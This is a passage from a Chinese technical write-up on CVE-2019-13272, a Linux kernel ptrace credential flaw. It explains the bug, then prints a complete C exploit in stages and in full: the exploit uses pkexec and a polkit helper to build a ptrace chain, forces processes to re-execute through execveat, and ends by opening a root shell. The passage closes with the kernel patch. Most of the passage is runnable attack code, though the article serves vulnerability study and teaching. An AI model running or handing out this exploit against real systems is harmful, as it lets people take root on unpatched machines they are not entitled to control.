当我们使用 -user 参数时, pkexec 会先将进程提权到 root,之后再降权到指定用户,这恰好可以用来构造我们 ptrace 利用链上的进程 B

此外,我们需要执行一个在 polkit 框架下运行的可执行程序(Jann Horn 称之为 helper),helper 需要满足的是普通用户执行时不需要认证(很多 polkit 程序执行时都需要弹窗认证)

接下来我们解决利用流程中条件竞争的问题,这里我们可以使用_管道_来控制程序执行的时机,从而让对应的三个进程能够在对应时机执行对应操作

下面我们分阶段对 exp 进行讲解,这里的 exp 笔者参考了 Jann 的exp 进行重新编写,经过笔者的一些自以为是的优化

Setp.I task A fork task B

这里的 main 函数笔者设计为主要实现 task A 的功能,同时也作为后面 task B 与 task C 通过 execveat 替换自身镜像时的跳转入口

findHelper() 用以寻找当前平台可用的 helper,不再赘叙

task A 首先需要创建一个管道,后面我们需要将 task B 的 stdout 重定向至该管道以让其堵塞,因此我们需要将管道设为 O_DIRECT 模式,这意味着该管道传输数据的方式是按 “packet” 进行传输的,随后我们先往其中填充一个 packet,后面 task B 在写入 stdout 时便会堵塞(为什么要阻塞后面细说)

创建完成管道之后便 fork 出 task B,接下来我们来看 task B 的流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int main(int argc, char **argv, char **envp)
{
char buf[0x1000];

if (!strcmp(argv[0], "stage2"))
return middleStage();
else if (!strcmp(argv[0], "stage3"))
return getRootShell();

puts("[+] CVE-2019-13272 POC of local privileged.");
puts("[+] Written by arttnba3.");
puts("[*] Start exploiting...");

// find the helper
puts("[*] Finding the helper...");
helper = findHelper();
helper_basename = basename(helper);
if (!helper)
{
fprintf(stderr, "[x] Unable to find suitable helper on your platform!\n");
exit(EXIT_FAILURE);
}
printf("[*] Using helper: %s\n", helper);

// create the pipe for blocking child
pipe2(pipe_for_block, O_DIRECT | O_CLOEXEC); // set the pipe in packet mode, which meant that the data should be received in packets
fcntl(pipe_for_block[0], F_SETPIPE_SZ, 0x1000);
write(pipe_for_block[1], "arttnba3", 8); // temp packet to make the following ones stuck, the stdout of task B will be redirect to it

// fork out task B
// two kinds of writing, all OK
// pid_task_b = clone(middlePtracee, (size_t)malloc(0x1000 * 100) + 0x1000 * 100, CLONE_VM | CLONE_VFORK | SIGCHLD, NULL);
pid_task_b = fork();
if (!pid_task_b)
{
middlePtracee();
return 0;
}
// ...

Step.II task B fork task C

task B 主要的工作笔者都将其封装在 middlePtracee() 中,首先还是 fork 出 task C,此时 task A 与 task C 都在监视 task B 的状态

接下来 task B 将自身的 stdin 重定向自 /proc/self/exe将 stdout 重定向至阻塞的管道,这是因为在接下来我们执行 pkexec 时,pkexec 的输出走 stderr,因此提权->降权这一流程并不会阻塞,而 pkexec 执行的 helper 的输出则走 stdout,此时程序会阻塞在这里,且 task B 已经降权,因此 task A 可以借此时机接管 task B

重定向完成后便是常规的执行 pkexec 的流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// task B
int middlePtracee(void)
{
self_fd = open("/proc/self/exe", O_RDONLY);
struct passwd *pw = getpwuid(getuid());
pid_task_b = getpid();

pid_task_c = fork();
if (!pid_task_c)
return finalPtracee();

fputs("[+] Task B fork out task C.\n", stderr);
fputs("[*] Task B execve pkexec soooon...\n", stderr);
dup2(self_fd, 0); // got stdin close
dup2(pipe_for_block[1], 1); // redirect stdout to block it
execl("/usr/bin/pkexec", basename("/usr/bin/pkexec"), "--user", pw->pw_name, helper, "--helper", NULL);

// if we arrive there, we failed.
fputs("[x] Failed to execve pkexec!", stderr);
return -1;
}

Step.III task C get root

task B 执行 pkexec 之后会提权到 root,当 task C 监视到 task B 执行 pkexec 后便调用 ptrace(PTRACE_TRACEME, 0, NULL, NULL) 来获取 task B 的 root cred,从而令 task C 的 ptracer_cred 为 root cred,此时 task C 再执行一个 suid 程序便能以 root 权限执行,且仍保持着被 task B ptrace 的状态

这里我们选择执行 /usr/bin/passwd,因为其会等待用户输入而不会直接退出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// task C
int finalPtracee(void)
{
pid_task_c = getpid();
char buf[0x1000];
char needle[0x100];
char uid_buf[0x100];
int task_B_status_fd;

sprintf(needle, "/proc/%d/status", pid_task_b);
sprintf(uid_buf, "Uid:\t%d\t0\t", getuid());
dup2(self_fd, 114);
task_B_status_fd = open(needle, O_RDONLY);
if (task_B_status_fd < 0)
{
fputs("[x] Failed to get status of task B!", stderr);
exit(EXIT_FAILURE);
}

// check out uid of task B
while (1)
{
buf[pread(task_B_status_fd, buf, 0x1000 - 1, 0)] = '\0';
if (strstr(buf, uid_buf)) // task B got root
break;
}

// let task B(root) be ptracer
puts("[+] Task B is root now!");
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
puts("[*] Task C execve another suid programme sooooon...");
execl("/usr/bin/passwd", "passwd", NULL);

// if we arrived there, execve failed
puts("[x] Task C failed to execve!");
}

Step.IV task A attach task B

task A 在 fork 出 task B 之后便持续监视 task B 的状态,当 task B 执行 helper 时说明 task B 已经降权并阻塞,此时 task A 便有足够的权限 ptrace task B

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//...

sprintf(buf, "/proc/%d/comm", pid_task_b);
while (1)
{
char comm[0x100];
int comm_fd = open(buf, O_RDONLY);
if (comm_fd < 0)
{
fprintf(stderr, "[x] Failed to read comm of task B!\n");
exit(EXIT_FAILURE);
}
comm[read(comm_fd, comm, 0x100 - 1)] = '\0';
if (!strncmp(comm, helper_basename, 10))
break;
usleep(100000);
}

// task B got the root, wait a while it'll lose privilege, then task A attach to it
puts("[*] Task A attaching to task B soooon...");
ptrace(PTRACE_ATTACH, pid_task_b, 0, NULL);
waitpid(pid_task_b, NULL, 0); // 0 means no extra options

//...

当程序运行到这一步时,我们已经成功建立了 task A -> task B -> task C 这一多级 ptrace 链条,此时 task A、B 为用户权限,task C 为 root 权限,而 task C 保存的 ptracer_cred 同为 root 权限,因此我们可以通过 task A 控制 task B 控制 task C 来完成提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    // in task A
//...

// force the task B to execve stage2
puts("[*] Forcing task B to execve stage2...");
forceChildToExecve(pid_task_b, 0, "stage2");
//force_exec_and_wait(pid_task_b, 0, "stage2");
exit(EXIT_SUCCESS);
}

// task again B
int middleStage(void)
{
pid_t child = waitpid(-1, NULL, 0);
forceChildToExecve(child, 114, "stage3");
return 0;
}

// task again C
int getRootShell(void)
{
setresuid(0, 0, 0);
setresgid(0, 0, 0);
return system("/bin/sh");
}

这里用到了一个自行编写的 forceChildToExecve() 函数,主要是控制 ptracee 进程通过 execveat 系统调用执行回 exp 程序的不同入口,具体细节参见注释,这里不再赘叙

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// force a child to execve by ptrace through execveat syscall
void forceChildToExecve(pid_t child_pid, int exec_fd, char *argv)
{
struct user_regs_struct regs;
struct iovec iov =
{
.iov_base = &regs,
.iov_len = sizeof(regs),
};
size_t child_stack;
size_t insert_data[0x100];

ptrace(PTRACE_SYSCALL, child_pid, 0, NULL); // wait for child meeting a syscall
waitpid(child_pid, NULL, 0); // wait for child to execve
ptrace(PTRACE_GETREGSET, child_pid, NT_PRSTATUS, &iov); // get env of child

// prepare the stack data
child_stack = (regs.rsp - 0x1000) & ~0xfffUL;
memset(insert_data, 0, sizeof(insert_data));
int idx = 0;
insert_data[idx++] = child_stack + 0x18; // argv arrays
insert_data[idx++] = 0;
insert_data[idx++] = 0; // env arrays
insert_data[idx++] = *(size_t*)argv; // argv[0]
insert_data[idx++] = 0; // path

// copy to child stack
for (int i = 0; i < idx; i++)
ptrace(PTRACE_POKETEXT, child_pid, child_stack + i * sizeof(size_t), insert_data[i]);

// execveat(exec_fd, NULL, argv, NULL, flags)
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = child_stack + 0x20; // path -> NULL
regs.rdx = child_stack; // argv -> "stagex", NULL
regs.r10 = child_stack + 0x10; // envp -> NULL
regs.r8 = AT_EMPTY_PATH; // flags

ptrace(PTRACE_SETREGSET, child_pid, NT_PRSTATUS, &iov);
ptrace(PTRACE_DETACH, child_pid, 0, NULL);
waitpid(child_pid, NULL, 0);
}

Final EXP

最终的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
#define _GNU_SOURCE
#include <fcntl.h>
#include <linux/elf.h>
#include <pthread.h>
#include <pwd.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
#include <unistd.h>

static char *helper_list[] =
{
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
"/usr/sbin/mate-power-backlight-helper",
"/usr/bin/xfpm-power-backlight-helper",
"/usr/bin/lxqt-backlight_backend",
"/usr/libexec/gsd-wacom-led-helper",
"/usr/libexec/gsd-wacom-oled-helper",
"/usr/libexec/gsd-backlight-helper",
"/usr/lib/gsd-backlight-helper",
"/usr/lib/gsd-wacom-led-helper",
"/usr/lib/gsd-wacom-oled-helper",
};
static char *helper = NULL;
static char *helper_basename = NULL;
static int pipe_for_block[2];
static int self_fd;
pid_t pid_task_b;
pid_t pid_task_c;

char* findHelper(void);
int middleStage(void);
int middlePtracee(void);
int finalPtracee(void);
int getRootShell(void);
void forceChildToExecve(pid_t child_pid, int exec_fd, char *argv);

// mainly for task a, and jmp for stage 2 and 3
int main(int argc, char **argv, char **envp)
{
char buf[0x1000];

if (!strcmp(argv[0], "stage2"))
return middleStage();
else if (!strcmp(argv[0], "stage3"))
return getRootShell();

puts("[+] CVE-2019-13272 POC of local privileged.");
puts("[+] Written by arttnba3.");
puts("[*] Start exploiting...");

// find the helper
puts("[*] Finding the helper...");
helper = findHelper();
helper_basename = basename(helper);
if (!helper)
{
fprintf(stderr, "[x] Unable to find suitable helper on your platform!\n");
exit(EXIT_FAILURE);
}
printf("[*] Using helper: %s\n", helper);

// create the pipe for blocking child
pipe2(pipe_for_block, O_DIRECT | O_CLOEXEC); // set the pipe in packet mode, which meant that the data should be received in packets
fcntl(pipe_for_block[0], F_SETPIPE_SZ, 0x1000);
write(pipe_for_block[1], "arttnba3", 8); // temp packet to make the following ones stuck, the stdout of task B will be redirect to it

// fork out task B
// two kinds of writing, all OK
// pid_task_b = clone(middlePtracee, (size_t)malloc(0x1000 * 100) + 0x1000 * 100, CLONE_VM | CLONE_VFORK | SIGCHLD, NULL);
pid_task_b = fork();
if (!pid_task_b)
{
middlePtracee();
return 0;
}

sprintf(buf, "/proc/%d/comm", pid_task_b);
while (1)
{
char comm[0x100];
int comm_fd = open(buf, O_RDONLY);
if (comm_fd < 0)
{
fprintf(stderr, "[x] Failed to read comm of task B!\n");
exit(EXIT_FAILURE);
}
comm[read(comm_fd, comm, 0x100 - 1)] = '\0';
if (!strncmp(comm, helper_basename, 10))
break;
usleep(100000);
}

// task B got the root, wait a while it'll lose privilege, then task A attach to it
puts("[*] Task A attaching to task B soooon...");
ptrace(PTRACE_ATTACH, pid_task_b, 0, NULL);
waitpid(pid_task_b, NULL, 0); // 0 means no extra options

// force the task B to execve stage2
puts("[*] Forcing task B to execve stage2...");
forceChildToExecve(pid_task_b, 0, "stage2");
//force_exec_and_wait(pid_task_b, 0, "stage2");
exit(EXIT_SUCCESS);
}

char* findHelper(void)
{
struct stat buf;

for (int i = 0; i < sizeof(helper_list) / sizeof(char*); i++)
{
if (!stat(helper_list[i], &buf))
return helper_list[i];
}

return NULL;
}

// task B
int middlePtracee(void)
{
self_fd = open("/proc/self/exe", O_RDONLY);
struct passwd *pw = getpwuid(getuid());
pid_task_b = getpid();

pid_task_c = fork();
if (!pid_task_c)
return finalPtracee();

fputs("[+] Task B fork out task C.\n", stderr);
fputs("[*] Task B execve pkexec soooon...\n", stderr);
dup2(self_fd, 0); // got stdin close
dup2(pipe_for_block[1], 1); // redirect stdout to block it
execl("/usr/bin/pkexec", basename("/usr/bin/pkexec"), "--user", pw->pw_name, helper, "--helper", NULL);

// if we arrive there, we failed.
fputs("[x] Failed to execve pkexec!", stderr);
return -1;
}

// task again B
int middleStage(void)
{
pid_t child = waitpid(-1, NULL, 0);
forceChildToExecve(child, 114, "stage3");
return 0;
}

// task C
int finalPtracee(void)
{
pid_task_c = getpid();
char buf[0x1000];
char needle[0x100];
char uid_buf[0x100];
int task_B_status_fd;

sprintf(needle, "/proc/%d/status", pid_task_b);
sprintf(uid_buf, "Uid:\t%d\t0\t", getuid());
dup2(self_fd, 114);
task_B_status_fd = open(needle, O_RDONLY);
if (task_B_status_fd < 0)
{
fputs("[x] Failed to get status of task B!", stderr);
exit(EXIT_FAILURE);
}

// check out uid of task B
while (1)
{
buf[pread(task_B_status_fd, buf, 0x1000 - 1, 0)] = '\0';
if (strstr(buf, uid_buf)) // task B got root
break;
}

// let task B(root) be ptracer
puts("[+] Task B is root now!");
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
puts("[*] Task C execve another suid programme sooooon...");
execl("/usr/bin/passwd", "passwd", NULL);

// if we arrived there, execve failed
puts("[x] Task C failed to execve!");
}

// task again C
int getRootShell(void)
{
setresuid(0, 0, 0);
setresgid(0, 0, 0);
return system("/bin/sh");
}

// force a child to execve by ptrace through execveat syscall
void forceChildToExecve(pid_t child_pid, int exec_fd, char *argv)
{
struct user_regs_struct regs;
struct iovec iov =
{
.iov_base = &regs,
.iov_len = sizeof(regs),
};
size_t child_stack;
size_t insert_data[0x100];

ptrace(PTRACE_SYSCALL, child_pid, 0, NULL); // wait for child meeting a syscall
waitpid(child_pid, NULL, 0); // wait for child to execve
ptrace(PTRACE_GETREGSET, child_pid, NT_PRSTATUS, &iov); // get env of child

// prepare the stack data
child_stack = (regs.rsp - 0x1000) & ~0xfffUL;
memset(insert_data, 0, sizeof(insert_data));
int idx = 0;
insert_data[idx++] = child_stack + 0x18; // argv arrays
insert_data[idx++] = 0;
insert_data[idx++] = 0; // env arrays
insert_data[idx++] = *(size_t*)argv; // argv[0]
insert_data[idx++] = 0; // path

// copy to child stack
for (int i = 0; i < idx; i++)
ptrace(PTRACE_POKETEXT, child_pid, child_stack + i * sizeof(size_t), insert_data[i]);

// execveat(exec_fd, NULL, argv, NULL, flags)
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = child_stack + 0x20; // path -> NULL
regs.rdx = child_stack; // argv -> "stagex", NULL
regs.r10 = child_stack + 0x10; // envp -> NULL
regs.r8 = AT_EMPTY_PATH; // flags

ptrace(PTRACE_SETREGSET, child_pid, NT_PRSTATUS, &iov);
ptrace(PTRACE_DETACH, child_pid, 0, NULL);
waitpid(child_pid, NULL, 0);
}

运行即可完成提权

image.png

0x03.漏洞修复

Jann Horn 提交的漏洞修复方案比较简单,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e2205f7..705887f63288d 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
*/
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
- rcu_read_lock();
- __ptrace_link(child, new_parent, __task_cred(new_parent));
- rcu_read_unlock();
+ __ptrace_link(child, new_parent, current_cred());
}

我们可以看出这个补丁只做了一件小事:

  • 不使用 rcu 机制,将 ptracee->parent_cred 设为当前进程 cred,即 ptracee 原来的 cred

这将 ptracer 的权限限制为发起 ptrace 请求的 ptracee 的权限,笔者个人认为这个修复还是比较成功的